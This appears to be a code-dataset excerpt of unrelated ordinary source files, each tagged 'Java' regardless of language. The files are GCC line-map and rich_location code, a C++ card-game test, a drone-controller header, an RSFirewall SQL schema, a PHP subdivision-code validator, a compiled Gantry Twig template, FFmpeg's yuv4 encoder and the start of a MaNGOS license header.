fprintf (stream, "File: %s:%d\n", ORDINARY_MAP_FILE_NAME (ord_map),
ORDINARY_MAP_STARTING_LINE_NUMBER (ord_map));
fprintf (stream, "Included from: [%d] %s\n", includer_ix,
includer_map ? ORDINARY_MAP_FILE_NAME (includer_map) : "None");
}
else
{
const line_map_macro *macro_map = linemap_check_macro (map);
fprintf (stream, "Macro: %s (%u tokens)\n",
linemap_map_get_macro_name (macro_map),
MACRO_MAP_NUM_MACRO_TOKENS (macro_map));
}
fprintf (stream, "\n");
}
/* Dump debugging information about source location LOC into the file
stream STREAM. SET is the line map set LOC comes from. */
void
linemap_dump_location (struct line_maps *set,
source_location loc,
FILE *stream)
{
const line_map_ordinary *map;
source_location location;
const char *path = "", *from = "";
int l = -1, c = -1, s = -1, e = -1;
if (IS_ADHOC_LOC (loc))
loc = set->location_adhoc_data_map.data[loc & MAX_SOURCE_LOCATION].locus;
if (loc == 0)
return;
location =
linemap_resolve_location (set, loc, LRK_MACRO_DEFINITION_LOCATION, &map);
if (map == NULL)
/* Only reserved locations can be tolerated in this case. */
linemap_assert (location < RESERVED_LOCATION_COUNT);
else
{
path = LINEMAP_FILE (map);
l = SOURCE_LINE (map, location);
c = SOURCE_COLUMN (map, location);
s = LINEMAP_SYSP (map) != 0;
e = location != loc;
if (e)
from = "N/A";
else
from = (INCLUDED_FROM (set, map))
? LINEMAP_FILE (INCLUDED_FROM (set, map))
: "<NULL>";
}
/* P: path, L: line, C: column, S: in-system-header, M: map address,
E: macro expansion?, LOC: original location, R: resolved location */
fprintf (stream, "{P:%s;F:%s;L:%d;C:%d;S:%d;M:%p;E:%d,LOC:%d,R:%d}",
path, from, l, c, s, (void*)map, e, loc, location);
}
/* Return the highest location emitted for a given file for which
there is a line map in SET. FILE_NAME is the file name to
consider. If the function returns TRUE, *LOC is set to the highest
location emitted for that file. */
bool
linemap_get_file_highest_location (struct line_maps *set,
const char *file_name,
source_location *loc)
{
/* If the set is empty or no ordinary map has been created then
there is no file to look for ... */
if (set == NULL || set->info_ordinary.used == 0)
return false;
/* Now look for the last ordinary map created for FILE_NAME. */
int i;
for (i = set->info_ordinary.used - 1; i >= 0; --i)
{
const char *fname = set->info_ordinary.maps[i].to_file;
if (fname && !filename_cmp (fname, file_name))
break;
}
if (i < 0)
return false;
/* The highest location for a given map is either the starting
location of the next map minus one, or -- if the map is the
latest one -- the highest location of the set. */
source_location result;
if (i == (int) set->info_ordinary.used - 1)
result = set->highest_location;
else
result = set->info_ordinary.maps[i + 1].start_location - 1;
*loc = result;
return true;
}
/* Compute and return statistics about the memory consumption of some
parts of the line table SET. */
void
linemap_get_statistics (struct line_maps *set,
struct linemap_stats *s)
{
long ordinary_maps_allocated_size, ordinary_maps_used_size,
macro_maps_allocated_size, macro_maps_used_size,
macro_maps_locations_size = 0, duplicated_macro_maps_locations_size = 0;
const line_map_macro *cur_map;
ordinary_maps_allocated_size =
LINEMAPS_ORDINARY_ALLOCATED (set) * sizeof (struct line_map_ordinary);
ordinary_maps_used_size =
LINEMAPS_ORDINARY_USED (set) * sizeof (struct line_map_ordinary);
macro_maps_allocated_size =
LINEMAPS_MACRO_ALLOCATED (set) * sizeof (struct line_map_macro);
for (cur_map = LINEMAPS_MACRO_MAPS (set);
cur_map && cur_map <= LINEMAPS_LAST_MACRO_MAP (set);
++cur_map)
{
unsigned i;
linemap_assert (linemap_macro_expansion_map_p (cur_map));
macro_maps_locations_size +=
2 * MACRO_MAP_NUM_MACRO_TOKENS (cur_map) * sizeof (source_location);
for (i = 0; i < 2 * MACRO_MAP_NUM_MACRO_TOKENS (cur_map); i += 2)
{
if (MACRO_MAP_LOCATIONS (cur_map)[i] ==
MACRO_MAP_LOCATIONS (cur_map)[i + 1])
duplicated_macro_maps_locations_size +=
sizeof (source_location);
}
}
macro_maps_used_size =
LINEMAPS_MACRO_USED (set) * sizeof (struct line_map_macro);
s->num_ordinary_maps_allocated = LINEMAPS_ORDINARY_ALLOCATED (set);
s->num_ordinary_maps_used = LINEMAPS_ORDINARY_USED (set);
s->ordinary_maps_allocated_size = ordinary_maps_allocated_size;
s->ordinary_maps_used_size = ordinary_maps_used_size;
s->num_expanded_macros = num_expanded_macros_counter;
s->num_macro_tokens = num_macro_tokens_counter;
s->num_macro_maps_used = LINEMAPS_MACRO_USED (set);
s->macro_maps_allocated_size = macro_maps_allocated_size;
s->macro_maps_locations_size = macro_maps_locations_size;
s->macro_maps_used_size = macro_maps_used_size;
s->duplicated_macro_maps_locations_size =
duplicated_macro_maps_locations_size;
s->adhoc_table_size = (set->location_adhoc_data_map.allocated
* sizeof (struct location_adhoc_data));
s->adhoc_table_entries_used = set->location_adhoc_data_map.curr_loc;
}
/* Dump line table SET to STREAM. If STREAM is NULL, stderr is used.
NUM_ORDINARY specifies how many ordinary maps to dump. NUM_MACRO
specifies how many macro maps to dump. */
void
line_table_dump (FILE *stream, struct line_maps *set, unsigned int num_ordinary,
unsigned int num_macro)
{
unsigned int i;
if (set == NULL)
return;
if (stream == NULL)
stream = stderr;
fprintf (stream, "# of ordinary maps: %d\n", LINEMAPS_ORDINARY_USED (set));
fprintf (stream, "# of macro maps: %d\n", LINEMAPS_MACRO_USED (set));
fprintf (stream, "Include stack depth: %d\n", set->depth);
fprintf (stream, "Highest location: %u\n", set->highest_location);
if (num_ordinary)
{
fprintf (stream, "\nOrdinary line maps\n");
for (i = 0; i < num_ordinary && i < LINEMAPS_ORDINARY_USED (set); i++)
linemap_dump (stream, set, i, false);
fprintf (stream, "\n");
}
if (num_macro)
{
fprintf (stream, "\nMacro line maps\n");
for (i = 0; i < num_macro && i < LINEMAPS_MACRO_USED (set); i++)
linemap_dump (stream, set, i, true);
fprintf (stream, "\n");
}
}
/* struct source_range. */
/* Is there any part of this range on the given line? */
bool
source_range::intersects_line_p (const char *file, int line) const
{
expanded_location exploc_start
= linemap_client_expand_location_to_spelling_point (m_start);
if (file != exploc_start.file)
return false;
if (line < exploc_start.line)
return false;
expanded_location exploc_finish
= linemap_client_expand_location_to_spelling_point (m_finish);
if (file != exploc_finish.file)
return false;
if (line > exploc_finish.line)
return false;
return true;
}
/* class rich_location. */
/* Construct a rich_location with location LOC as its initial range. */
rich_location::rich_location (line_maps *set, source_location loc) :
m_loc (loc),
m_num_ranges (0),
m_have_expanded_location (false),
m_num_fixit_hints (0)
{
/* Set up the 0th range, extracting any range from LOC. */
source_range src_range = get_range_from_loc (set, loc);
add_range (src_range, true);
m_ranges[0].m_caret = lazily_expand_location ();
}
/* Construct a rich_location with source_range SRC_RANGE as its
initial range. */
rich_location::rich_location (source_range src_range)
: m_loc (src_range.m_start),
m_num_ranges (0),
m_have_expanded_location (false),
m_num_fixit_hints (0)
{
/* Set up the 0th range: */
add_range (src_range, true);
}
/* The destructor for class rich_location. */
rich_location::~rich_location ()
{
for (unsigned int i = 0; i < m_num_fixit_hints; i++)
delete m_fixit_hints[i];
}
/* Get an expanded_location for this rich_location's primary
location. */
expanded_location
rich_location::lazily_expand_location ()
{
if (!m_have_expanded_location)
{
m_expanded_location
= linemap_client_expand_location_to_spelling_point (m_loc);
m_have_expanded_location = true;
}
return m_expanded_location;
}
/* Set the column of the primary location. This can only be called for
rich_location instances for which the primary location has
caret==start==finish. */
void
rich_location::override_column (int column)
{
lazily_expand_location ();
gcc_assert (m_ranges[0].m_show_caret_p);
gcc_assert (m_ranges[0].m_caret.column == m_expanded_location.column);
gcc_assert (m_ranges[0].m_start.column == m_expanded_location.column);
gcc_assert (m_ranges[0].m_finish.column == m_expanded_location.column);
m_expanded_location.column = column;
m_ranges[0].m_caret.column = column;
m_ranges[0].m_start.column = column;
m_ranges[0].m_finish.column = column;
}
/* Add the given range. */
void
rich_location::add_range (source_location start, source_location finish,
bool show_caret_p)
{
linemap_assert (m_num_ranges < MAX_RANGES);
location_range *range = &m_ranges[m_num_ranges++];
range->m_start = linemap_client_expand_location_to_spelling_point (start);
range->m_finish = linemap_client_expand_location_to_spelling_point (finish);
range->m_caret = range->m_start;
range->m_show_caret_p = show_caret_p;
}
/* Add the given range. */
void
rich_location::add_range (source_range src_range, bool show_caret_p)
{
linemap_assert (m_num_ranges < MAX_RANGES);
add_range (src_range.m_start, src_range.m_finish, show_caret_p);
}
void
rich_location::add_range (location_range *src_range)
{
linemap_assert (m_num_ranges < MAX_RANGES);
m_ranges[m_num_ranges++] = *src_range;
}
/* Add or overwrite the location given by IDX, setting its location to LOC,
and setting its "should my caret be printed" flag to SHOW_CARET_P.
It must either overwrite an existing location, or add one *exactly* on
the end of the array.
This is primarily for use by gcc when implementing diagnostic format
decoders e.g.
- the "+" in the C/C++ frontends, for handling format codes like "%q+D"
(which writes the source location of a tree back into location 0 of
the rich_location), and
- the "%C" and "%L" format codes in the Fortran frontend. */
void
rich_location::set_range (line_maps *set, unsigned int idx,
source_location loc, bool show_caret_p)
{
linemap_assert (idx < MAX_RANGES);
/* We can either overwrite an existing range, or add one exactly
on the end of the array. */
linemap_assert (idx <= m_num_ranges);
source_range src_range = get_range_from_loc (set, loc);
location_range *locrange = &m_ranges[idx];
locrange->m_start
= linemap_client_expand_location_to_spelling_point (src_range.m_start);
locrange->m_finish
= linemap_client_expand_location_to_spelling_point (src_range.m_finish);
locrange->m_show_caret_p = show_caret_p;
locrange->m_caret
= linemap_client_expand_location_to_spelling_point (loc);
/* Are we adding a range onto the end? */
if (idx == m_num_ranges)
m_num_ranges = idx + 1;
if (idx == 0)
{
m_loc = loc;
/* Mark any cached value here as dirty. */
m_have_expanded_location = false;
}
}
/* Add a fixit-hint, suggesting insertion of NEW_CONTENT
at WHERE. */
void
rich_location::add_fixit_insert (source_location where,
const char *new_content)
{
linemap_assert (m_num_fixit_hints < MAX_FIXIT_HINTS);
m_fixit_hints[m_num_fixit_hints++]
= new fixit_insert (where, new_content);
}
/* Add a fixit-hint, suggesting removal of the content at
SRC_RANGE. */
void
rich_location::add_fixit_remove (source_range src_range)
{
linemap_assert (m_num_fixit_hints < MAX_FIXIT_HINTS);
m_fixit_hints[m_num_fixit_hints++] = new fixit_remove (src_range);
}
/* Add a fixit-hint, suggesting replacement of the content at
SRC_RANGE with NEW_CONTENT. */
void
rich_location::add_fixit_replace (source_range src_range,
const char *new_content)
{
linemap_assert (m_num_fixit_hints < MAX_FIXIT_HINTS);
m_fixit_hints[m_num_fixit_hints++]
= new fixit_replace (src_range, new_content);
}
/* class fixit_insert. */
fixit_insert::fixit_insert (source_location where,
const char *new_content)
: m_where (where),
m_bytes (xstrdup (new_content)),
m_len (strlen (new_content))
{
}
fixit_insert::~fixit_insert ()
{
free (m_bytes);
}
/* Implementation of fixit_hint::affects_line_p for fixit_insert. */
bool
fixit_insert::affects_line_p (const char *file, int line)
{
expanded_location exploc
= linemap_client_expand_location_to_spelling_point (m_where);
if (file == exploc.file)
if (line == exploc.line)
return true;
return false;
}
/* class fixit_remove. */
fixit_remove::fixit_remove (source_range src_range)
: m_src_range (src_range)
{
}
/* Implementation of fixit_hint::affects_line_p for fixit_remove. */
bool
fixit_remove::affects_line_p (const char *file, int line)
{
return m_src_range.intersects_line_p (file, line);
}
/* class fixit_replace. */
fixit_replace::fixit_replace (source_range src_range,
const char *new_content)
: m_src_range (src_range),
m_bytes (xstrdup (new_content)),
m_len (strlen (new_content))
{
}
fixit_replace::~fixit_replace ()
{
free (m_bytes);
}
/* Implementation of fixit_hint::affects_line_p for fixit_replace. */
bool
fixit_replace::affects_line_p (const char *file, int line)
{
return m_src_range.intersects_line_p (file, line);
}
| Java |
#include "Card.h"
#include "Game.h"
#include <iostream>
#include <array>
#include <string>
#include <vector>
#include <algorithm>
#include <random>
#include <cstdlib>
#include <ctime>
using namespace std;
using namespace zks::game::card;
int test_deck() {
CardDeck deck(1);
CardDeck d1, d2;
deck.shuffle();
cout << "deck: " << deck.str() << endl;
cout << "d1: " << d1.str() << endl;
cout << "d2: " << d2.str() << endl;
cout << "\nget from back:\n";
for (auto i = 0; i<10; ++i) {
d1.put_card(deck.get_card());
cout << d1.str() << endl;
}
cout << "\nget from front:\n";
for (auto i = 0; i<10; ++i) {
d2.put_card(deck.get_card(false));
cout << d2.str() << endl;
}
cout << "\n";
cout << "deck: " << deck.str() << endl;
return 0;
}
int main() {
Game g;
cout << "game: \n" << g.str() << endl;
g.prepare();
cout << "game: \n" << g.str() << endl;
g.play();
cout << "game: \n" << g.str() << endl;
g.post();
cout << "game: \n" << g.str() << endl;
return 0;
}
int test_suite() {
for (const auto& s : Suite()) {
cout << to_string(s) << ", ";
}
cout << endl;
return 0;
}
int test_number() {
for (const auto& n : Number()) {
cout << to_string(n) << ", ";
}
cout << endl;
return 0;
}
int test_card() {
vector<Card> deck;
for (auto s = begin(Suite()); s<Suite::JOKER; ++s) {
for (const auto& n : Number()) {
deck.emplace_back(s, n);
}
}
cout << "\n";
for (auto const& c : deck) {
cout << to_string(c) << ", ";
}
cout << "\n";
std::srand(std::time(0));
std::array<int, std::mt19937::state_size> seed_data;
std::generate(seed_data.begin(), seed_data.end(), std::rand);
std::seed_seq seq(seed_data.begin(), seed_data.end());
std::mt19937 g(seq);
std::shuffle(deck.begin(), deck.end(), g);
cout << "\n";
for (auto const& c : deck) {
cout << to_string(c) << ", ";
}
cout << "\n";
return 0;
}
| Java |
/* This file defines the control system */
/* Dependencies - Serial */
#ifndef MICAV_CONTROLLER
#define MICAV_CONTROLLER
#include "config.h"
#include "drivers.h"
#include "PID.h"
#include <stdint.h>
#define MAX_DYAW 100
#define MIN_DYAW -100
#define MAX_DPITCH 100
#define MIN_DPITCH -100
#define MAX_DROLL 100
#define MIN_DROLL -100
#define MAX_DYAW 100
#define MIN_DYAW -100
#define MAX_DPITCH 100
#define MIN_DPITCH -100
#define MAX_ROLL 150
#define MIN_ROLL -150 /*Degrees*10*/
void update_input();
void update_state(float []);
//void update_control();
//void update_output();
void write_output();
#endif /* MICAV_CONTROLLER */
| Java |
CREATE TABLE IF NOT EXISTS `#__rsfirewall_exceptions` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`type` varchar(4) NOT NULL,
`regex` tinyint(1) NOT NULL,
`match` text NOT NULL,
`php` tinyint(1) NOT NULL,
`sql` tinyint(1) NOT NULL,
`js` tinyint(1) NOT NULL,
`uploads` tinyint(1) NOT NULL,
`reason` text NOT NULL,
`date` datetime NOT NULL,
`published` tinyint(1) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8; | Java |
<?php
/*
* This file is part of Respect/Validation.
*
* (c) Alexandre Gomes Gaigalas <alexandre@gaigalas.net>
*
* For the full copyright and license information, please view the "LICENSE.md"
* file that was distributed with this source code.
*/
namespace Respect\Validation\Rules\SubdivisionCode;
use Respect\Validation\Rules\AbstractSearcher;
/**
* Validator for Turks and Caicos Islands subdivision code.
*
* ISO 3166-1 alpha-2: TC
*
* @link https://salsa.debian.org/iso-codes-team/iso-codes
*/
class TcSubdivisionCode extends AbstractSearcher
{
public $haystack = [
'AC', // Ambergris Cays
'DC', // Dellis Cay
'EC', // East Caicos
'FC', // French Cay
'GT', // Grand Turk
'LW', // Little Water Cay
'MC', // Middle Caicos
'NC', // North Caicos
'PN', // Pine Cay
'PR', // Providenciales
'RC', // Parrot Cay
'SC', // South Caicos
'SL', // Salt Cay
'WC', // West Caicos
];
public $compareIdentical = true;
}
| Java |
<?php
/* @particles/assets.html.twig */
class __TwigTemplate_299c183811cc71a2e64a3daab6e1f6fca93d29687649f11bd1c1431814d9f4f7 extends Twig_Template
{
public function __construct(Twig_Environment $env)
{
parent::__construct($env);
// line 1
$this->parent = $this->loadTemplate("@nucleus/partials/particle.html.twig", "@particles/assets.html.twig", 1);
$this->blocks = array(
'stylesheets' => array($this, 'block_stylesheets'),
'javascript' => array($this, 'block_javascript'),
'javascript_footer' => array($this, 'block_javascript_footer'),
);
}
protected function doGetParent(array $context)
{
return "@nucleus/partials/particle.html.twig";
}
protected function doDisplay(array $context, array $blocks = array())
{
$this->parent->display($context, array_merge($this->blocks, $blocks));
}
// line 3
public function block_stylesheets($context, array $blocks = array())
{
// line 4
echo " ";
if ($this->getAttribute((isset($context["particle"]) ? $context["particle"] : null), "enabled", array())) {
// line 5
echo " ";
$context['_parent'] = $context;
$context['_seq'] = twig_ensure_traversable($this->getAttribute((isset($context["particle"]) ? $context["particle"] : null), "css", array()));
foreach ($context['_seq'] as $context["_key"] => $context["css"]) {
// line 6
echo " ";
$context["attr_extra"] = "";
// line 7
echo " ";
if ($this->getAttribute($context["css"], "extra", array())) {
// line 8
echo " ";
$context['_parent'] = $context;
$context['_seq'] = twig_ensure_traversable($this->getAttribute($context["css"], "extra", array()));
foreach ($context['_seq'] as $context["_key"] => $context["attributes"]) {
// line 9
echo " ";
$context['_parent'] = $context;
$context['_seq'] = twig_ensure_traversable($context["attributes"]);
foreach ($context['_seq'] as $context["key"] => $context["value"]) {
// line 10
echo " ";
$context["attr_extra"] = ((((((isset($context["attr_extra"]) ? $context["attr_extra"] : null) . " ") . twig_escape_filter($this->env, $context["key"])) . "=\"") . twig_escape_filter($this->env, $context["value"], "html_attr")) . "\"");
// line 11
echo " ";
}
$_parent = $context['_parent'];
unset($context['_seq'], $context['_iterated'], $context['key'], $context['value'], $context['_parent'], $context['loop']);
$context = array_intersect_key($context, $_parent) + $_parent;
// line 12
echo " ";
}
$_parent = $context['_parent'];
unset($context['_seq'], $context['_iterated'], $context['_key'], $context['attributes'], $context['_parent'], $context['loop']);
$context = array_intersect_key($context, $_parent) + $_parent;
// line 13
echo " ";
}
// line 14
echo "
";
// line 15
if ($this->getAttribute($context["css"], "location", array())) {
// line 16
echo " <link rel=\"stylesheet\" href=\"";
echo twig_escape_filter($this->env, $this->env->getExtension('GantryTwig')->urlFunc($this->getAttribute($context["css"], "location", array())), "html", null, true);
echo "\" type=\"text/css\"";
echo (isset($context["attr_extra"]) ? $context["attr_extra"] : null);
echo " />
";
}
// line 18
echo "
";
// line 19
if ($this->getAttribute($context["css"], "inline", array())) {
// line 20
echo " <style type=\"text/css\"";
echo (isset($context["attr_extra"]) ? $context["attr_extra"] : null);
echo ">";
echo $this->getAttribute($context["css"], "inline", array());
echo "</style>
";
}
// line 22
echo " ";
}
$_parent = $context['_parent'];
unset($context['_seq'], $context['_iterated'], $context['_key'], $context['css'], $context['_parent'], $context['loop']);
$context = array_intersect_key($context, $_parent) + $_parent;
// line 23
echo " ";
}
}
// line 26
public function block_javascript($context, array $blocks = array())
{
// line 27
echo " ";
if ($this->getAttribute((isset($context["particle"]) ? $context["particle"] : null), "enabled", array())) {
// line 28
echo " ";
$context['_parent'] = $context;
$context['_seq'] = twig_ensure_traversable($this->getAttribute((isset($context["particle"]) ? $context["particle"] : null), "javascript", array()));
foreach ($context['_seq'] as $context["_key"] => $context["script"]) {
// line 29
echo " ";
if (($this->getAttribute($context["script"], "in_footer", array()) == false)) {
// line 30
echo " ";
$context["attr_extra"] = "";
// line 31
echo " ";
if ($this->getAttribute($context["script"], "extra", array())) {
// line 32
echo " ";
$context['_parent'] = $context;
$context['_seq'] = twig_ensure_traversable($this->getAttribute($context["script"], "extra", array()));
foreach ($context['_seq'] as $context["_key"] => $context["attributes"]) {
// line 33
echo " ";
$context['_parent'] = $context;
$context['_seq'] = twig_ensure_traversable($context["attributes"]);
foreach ($context['_seq'] as $context["key"] => $context["value"]) {
// line 34
echo " ";
$context["attr_extra"] = ((((((isset($context["attr_extra"]) ? $context["attr_extra"] : null) . " ") . twig_escape_filter($this->env, $context["key"])) . "=\"") . twig_escape_filter($this->env, $context["value"], "html_attr")) . "\"");
// line 35
echo " ";
}
$_parent = $context['_parent'];
unset($context['_seq'], $context['_iterated'], $context['key'], $context['value'], $context['_parent'], $context['loop']);
$context = array_intersect_key($context, $_parent) + $_parent;
// line 36
echo " ";
}
$_parent = $context['_parent'];
unset($context['_seq'], $context['_iterated'], $context['_key'], $context['attributes'], $context['_parent'], $context['loop']);
$context = array_intersect_key($context, $_parent) + $_parent;
// line 37
echo " ";
}
// line 38
echo "
";
// line 39
if ($this->getAttribute($context["script"], "location", array())) {
// line 40
echo " <script src=\"";
echo twig_escape_filter($this->env, $this->env->getExtension('GantryTwig')->urlFunc($this->getAttribute($context["script"], "location", array())), "html", null, true);
echo "\" type=\"text/javascript\"";
echo (isset($context["attr_extra"]) ? $context["attr_extra"] : null);
echo "></script>
";
}
// line 42
echo "
";
// line 43
if ($this->getAttribute($context["script"], "inline", array())) {
// line 44
echo " <script type=\"text/javascript\"";
echo (isset($context["attr_extra"]) ? $context["attr_extra"] : null);
echo ">";
echo $this->getAttribute($context["script"], "inline", array());
echo "</script>
";
}
// line 46
echo " ";
}
// line 47
echo " ";
}
$_parent = $context['_parent'];
unset($context['_seq'], $context['_iterated'], $context['_key'], $context['script'], $context['_parent'], $context['loop']);
$context = array_intersect_key($context, $_parent) + $_parent;
// line 48
echo " ";
}
}
// line 51
public function block_javascript_footer($context, array $blocks = array())
{
// line 52
echo " ";
if ($this->getAttribute((isset($context["particle"]) ? $context["particle"] : null), "enabled", array())) {
// line 53
echo " ";
$context['_parent'] = $context;
$context['_seq'] = twig_ensure_traversable($this->getAttribute((isset($context["particle"]) ? $context["particle"] : null), "javascript", array()));
foreach ($context['_seq'] as $context["_key"] => $context["script"]) {
// line 54
echo " ";
if (($this->getAttribute($context["script"], "in_footer", array()) == true)) {
// line 55
echo " ";
$context["attr_extra"] = "";
// line 56
echo "
";
// line 57
if ($this->getAttribute($context["script"], "extra", array())) {
// line 58
echo " ";
$context['_parent'] = $context;
$context['_seq'] = twig_ensure_traversable($this->getAttribute($context["script"], "extra", array()));
foreach ($context['_seq'] as $context["_key"] => $context["attributes"]) {
// line 59
echo " ";
$context['_parent'] = $context;
$context['_seq'] = twig_ensure_traversable($context["attributes"]);
foreach ($context['_seq'] as $context["key"] => $context["value"]) {
// line 60
echo " ";
$context["attr_extra"] = ((((((isset($context["attr_extra"]) ? $context["attr_extra"] : null) . " ") . twig_escape_filter($this->env, $context["key"])) . "=\"") . twig_escape_filter($this->env, $context["value"], "html_attr")) . "\"");
// line 61
echo " ";
}
$_parent = $context['_parent'];
unset($context['_seq'], $context['_iterated'], $context['key'], $context['value'], $context['_parent'], $context['loop']);
$context = array_intersect_key($context, $_parent) + $_parent;
// line 62
echo " ";
}
$_parent = $context['_parent'];
unset($context['_seq'], $context['_iterated'], $context['_key'], $context['attributes'], $context['_parent'], $context['loop']);
$context = array_intersect_key($context, $_parent) + $_parent;
// line 63
echo " ";
}
// line 64
echo "
";
// line 65
if ($this->getAttribute($context["script"], "location", array())) {
// line 66
echo " <script src=\"";
echo twig_escape_filter($this->env, $this->env->getExtension('GantryTwig')->urlFunc($this->getAttribute($context["script"], "location", array())), "html", null, true);
echo "\" type=\"text/javascript\"";
echo (isset($context["attr_extra"]) ? $context["attr_extra"] : null);
echo "></script>
";
}
// line 68
echo "
";
// line 69
if ($this->getAttribute($context["script"], "inline", array())) {
// line 70
echo " <script type=\"text/javascript\"";
echo (isset($context["attr_extra"]) ? $context["attr_extra"] : null);
echo ">";
echo $this->getAttribute($context["script"], "inline", array());
echo "</script>
";
}
// line 72
echo " ";
}
// line 73
echo " ";
}
$_parent = $context['_parent'];
unset($context['_seq'], $context['_iterated'], $context['_key'], $context['script'], $context['_parent'], $context['loop']);
$context = array_intersect_key($context, $_parent) + $_parent;
// line 74
echo " ";
}
}
public function getTemplateName()
{
return "@particles/assets.html.twig";
}
public function isTraitable()
{
return false;
}
public function getDebugInfo()
{
return array ( 285 => 74, 279 => 73, 276 => 72, 268 => 70, 266 => 69, 263 => 68, 255 => 66, 253 => 65, 250 => 64, 247 => 63, 241 => 62, 235 => 61, 232 => 60, 227 => 59, 222 => 58, 220 => 57, 217 => 56, 214 => 55, 211 => 54, 206 => 53, 203 => 52, 200 => 51, 195 => 48, 189 => 47, 186 => 46, 178 => 44, 176 => 43, 173 => 42, 165 => 40, 163 => 39, 160 => 38, 157 => 37, 151 => 36, 145 => 35, 142 => 34, 137 => 33, 132 => 32, 129 => 31, 126 => 30, 123 => 29, 118 => 28, 115 => 27, 112 => 26, 107 => 23, 101 => 22, 93 => 20, 91 => 19, 88 => 18, 80 => 16, 78 => 15, 75 => 14, 72 => 13, 66 => 12, 60 => 11, 57 => 10, 52 => 9, 47 => 8, 44 => 7, 41 => 6, 36 => 5, 33 => 4, 30 => 3, 11 => 1,);
}
}
/* {% extends '@nucleus/partials/particle.html.twig' %}*/
/* */
/* {% block stylesheets %}*/
/* {% if (particle.enabled) %}*/
/* {% for css in particle.css %}*/
/* {% set attr_extra = '' %}*/
/* {% if css.extra %}*/
/* {% for attributes in css.extra %}*/
/* {% for key, value in attributes %}*/
/* {% set attr_extra = attr_extra ~ ' ' ~ key|e ~ '="' ~ value|e('html_attr') ~ '"' %}*/
/* {% endfor %}*/
/* {% endfor %}*/
/* {% endif %}*/
/* */
/* {% if css.location %}*/
/* <link rel="stylesheet" href="{{ url(css.location) }}" type="text/css"{{ attr_extra|raw }} />*/
/* {% endif %}*/
/* */
/* {% if css.inline %}*/
/* <style type="text/css"{{ attr_extra|raw }}>{{ css.inline|raw }}</style>*/
/* {% endif %}*/
/* {% endfor %}*/
/* {% endif %}*/
/* {% endblock %}*/
/* */
/* {% block javascript %}*/
/* {% if particle.enabled %}*/
/* {% for script in particle.javascript %}*/
/* {% if script.in_footer == false %}*/
/* {% set attr_extra = '' %}*/
/* {% if script.extra %}*/
/* {% for attributes in script.extra %}*/
/* {% for key, value in attributes %}*/
/* {% set attr_extra = attr_extra ~ ' ' ~ key|e ~ '="' ~ value|e('html_attr') ~ '"' %}*/
/* {% endfor %}*/
/* {% endfor %}*/
/* {% endif %}*/
/* */
/* {% if script.location %}*/
/* <script src="{{ url(script.location) }}" type="text/javascript"{{ attr_extra|raw }}></script>*/
/* {% endif %}*/
/* */
/* {% if script.inline %}*/
/* <script type="text/javascript"{{ attr_extra|raw }}>{{ script.inline|raw }}</script>*/
/* {% endif %}*/
/* {% endif %}*/
/* {% endfor %}*/
/* {% endif %}*/
/* {% endblock %}*/
/* */
/* {% block javascript_footer %}*/
/* {% if particle.enabled %}*/
/* {% for script in particle.javascript %}*/
/* {% if script.in_footer == true %}*/
/* {% set attr_extra = '' %}*/
/* */
/* {% if script.extra %}*/
/* {% for attributes in script.extra %}*/
/* {% for key, value in attributes %}*/
/* {% set attr_extra = attr_extra ~ ' ' ~ key|e ~ '="' ~ value|e('html_attr') ~ '"' %}*/
/* {% endfor %}*/
/* {% endfor %}*/
/* {% endif %}*/
/* */
/* {% if script.location %}*/
/* <script src="{{ url(script.location) }}" type="text/javascript"{{ attr_extra|raw }}></script>*/
/* {% endif %}*/
/* */
/* {% if script.inline %}*/
/* <script type="text/javascript"{{ attr_extra|raw }}>{{ script.inline|raw }}</script>*/
/* {% endif %}*/
/* {% endif %}*/
/* {% endfor %}*/
/* {% endif %}*/
/* {% endblock %}*/
/* */
/* */
| Java |
/*
* libquicktime yuv4 encoder
*
* Copyright (c) 2011 Carl Eugen Hoyos
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* FFmpeg is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with FFmpeg; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include "avcodec.h"
#include "internal.h"
static av_cold int yuv4_encode_init(AVCodecContext *avctx)
{
avctx->coded_frame = av_frame_alloc();
if (!avctx->coded_frame) {
av_log(avctx, AV_LOG_ERROR, "Could not allocate frame.\n");
return AVERROR(ENOMEM);
}
return 0;
}
static int yuv4_encode_frame(AVCodecContext *avctx, AVPacket *pkt,
const AVFrame *pic, int *got_packet)
{
uint8_t *dst;
uint8_t *y, *u, *v;
int i, j, ret;
if ((ret = ff_alloc_packet2(avctx, pkt, 6 * (avctx->width + 1 >> 1) * (avctx->height + 1 >> 1))) < 0)
return ret;
dst = pkt->data;
avctx->coded_frame->key_frame = 1;
avctx->coded_frame->pict_type = AV_PICTURE_TYPE_I;
y = pic->data[0];
u = pic->data[1];
v = pic->data[2];
for (i = 0; i < avctx->height + 1 >> 1; i++) {
for (j = 0; j < avctx->width + 1 >> 1; j++) {
*dst++ = u[j] ^ 0x80;
*dst++ = v[j] ^ 0x80;
*dst++ = y[ 2 * j ];
*dst++ = y[ 2 * j + 1];
*dst++ = y[pic->linesize[0] + 2 * j ];
*dst++ = y[pic->linesize[0] + 2 * j + 1];
}
y += 2 * pic->linesize[0];
u += pic->linesize[1];
v += pic->linesize[2];
}
pkt->flags |= AV_PKT_FLAG_KEY;
*got_packet = 1;
return 0;
}
static av_cold int yuv4_encode_close(AVCodecContext *avctx)
{
av_freep(&avctx->coded_frame);
return 0;
}
AVCodec ff_yuv4_encoder = {
.name = "yuv4",
.long_name = NULL_IF_CONFIG_SMALL("Uncompressed packed 4:2:0"),
.type = AVMEDIA_TYPE_VIDEO,
.id = AV_CODEC_ID_YUV4,
.init = yuv4_encode_init,
.encode2 = yuv4_encode_frame,
.close = yuv4_encode_close,
.pix_fmts = (const enum AVPixelFormat[]){ AV_PIX_FMT_YUV420P, AV_PIX_FMT_NONE },
};
| Java |
/*
* Copyright (C) 2005-2012 MaNGOS <http://getmangos.com/>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
